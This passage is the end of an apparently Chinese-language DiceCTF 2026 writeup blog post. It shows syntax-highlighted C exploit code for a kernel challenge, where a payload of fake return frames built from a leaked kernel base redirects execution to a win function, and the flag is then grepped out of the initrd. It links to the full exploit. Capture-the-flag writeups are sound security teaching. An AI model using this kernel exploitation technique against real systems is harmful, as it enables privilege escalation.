style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> inb</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">FW_CFG_PORT_DATA</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">sem </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	while</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> main</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // ...</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    char</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> payload</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">PAGE_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PAGE_SIZE; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">win;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">33</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">10</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3206</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stack </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PAGE_SIZE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">20</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2b</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">28</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">30</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">38</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">40</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> kbase </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">10017ff</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">uint64_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">payload</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 5</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // ...</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // </span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flag </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> open</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/tmp/initrd.gz"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, O_RDWR</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    write</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">flag, initrd, INITRD_SIZE</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    system</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"strings /tmp/initrd.gz | grep dice{"</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br></code></pre></div>
<p>完整 exp 在<a href="https://blog.littflower.top/writeups/dicectf2026-writeup/exp.c" title="https://blog.littflower.top/writeups/dicectf2026-writeup/exp.c" target="_blank" rel="noopener">这里</a>。</p></article><nav aria-label="文章目录" id="article-toc" class="toc"><div class="toc-title">目录</div><ul class="toc-list"><li class="toc-item toc-l2"><a href="#garden">garden</a></li><li class="toc-item toc-l2"><a href="#message-store">message-store</a></li><li class="toc-item toc-l2"><a href="#bytecrusher">bytecrusher</a></li><li class="toc-item toc-l2"><a href="#cornelslop">cornelslop</a></li><li class="toc-item toc-l3"><a href="#cross-cache-attack">cross-cache attack</a></li><li class="toc-item toc-l3"><a href="#leak">leak</a></li><li class="toc-item toc-l3"><a href="#控制执行流">控制执行流</a></li></ul></nav></main></div><footer class="footer"><div class="footer-row footer-links"><span class="footer-label">保持联系</span><a href="mailto:xzy1476569428@163.com" class="footer-link">xzy1476569428@163.com</a><span aria-hidden="true" class="footer-separator">·</span><a href="/rss.xml" class="footer-link">RSS</a><span aria-hidden="true" class="footer-separator">·</span><a href="https://github.com/LittFlower/my_blog" class="footer-link">GitHub</a></div><div class="footer-row footer-meta"><span>本站基于 <a href="https://github.com/unvariant/blog">unvariant/blog</a> 改造，除特别说明外内容以 CC BY 4.0 协议共享。</span></div></footer></body></html>